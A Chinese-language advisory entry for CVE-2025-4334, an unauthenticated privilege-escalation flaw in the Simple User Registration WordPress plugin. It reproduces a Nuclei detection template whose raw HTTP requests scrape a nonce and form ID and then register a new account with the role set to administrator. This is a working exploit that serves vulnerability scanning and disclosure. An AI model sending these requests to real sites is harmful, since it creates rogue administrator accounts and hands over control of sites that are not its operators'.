Simple User Registration 权限提升漏洞

漏洞信息

漏洞名称： Simple User Registration 权限提升漏洞

漏洞编号：

• CVE： CVE-2025-4334

漏洞类型： 权限提升

漏洞等级： 严重

漏洞描述： Simple User Registration是一个WordPress插件，用于简化用户注册流程。它广泛应用于需要用户注册功能的WordPress网站中。该插件在版本6.3及之前存在一个严重的权限提升漏洞。漏洞的根源在于插件在用户注册过程中对用户元数据值的限制不足。攻击者可以利用这一漏洞，无需认证即可注册为管理员用户。这种漏洞的存在使得攻击者能够轻易获取网站的最高权限，从而进行任意操作，如修改网站内容、安装恶意插件、窃取用户数据等。由于漏洞的利用不需要任何认证，且可以自动化执行，因此对使用该插件的网站构成了极大的安全威胁。网站管理员应立即更新插件到最新版本，以避免潜在的安全风险。

产品名称： Simple User Registration

影响版本： <= 6.3

来源： https://github.com/projectdiscovery/nuclei-templates/blob/23b7a34f73ef66496b11bec04a2a8af7eb9be8ab/http%2Fcves%2F2025%2FCVE-2025-4334.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-4334

info:
  name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
  author: pussycat0x
  severity: critical
  description: |
    The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation.It lacks proper restrictions on user meta values during registration.Unauthenticated attackers can exploit this to register as administrators
  reference:
    - https://github.com/Nxploited/CVE-2025-4334
  metadata:
    verified: true
  tags: cve,cve2025,wordpress,intrusive,plugin,simple-user-registration


variables:
  username: {{randstr}}
  email: "{{randstr}}@{{rand_base(5)}}.com"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        GET /register/ HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 417

        action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator

    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "WPR Register")
          - contains(body_2, "user_id")
          - contains(body_2, "Registration Done")
        condition: and

    extractors:
      - type: regex
        internal: true
        group: 1
        name: wpr_nonce
        part: body
        regex:
          - 'name="wpr_nonce" value="([a-f0-9]+)"'

      - type: regex
        internal: true
        group: 1
        name: wpr_form_id
        part: body
        regex:
          - 'name="wpr_form_id" value="([0-9]+)"'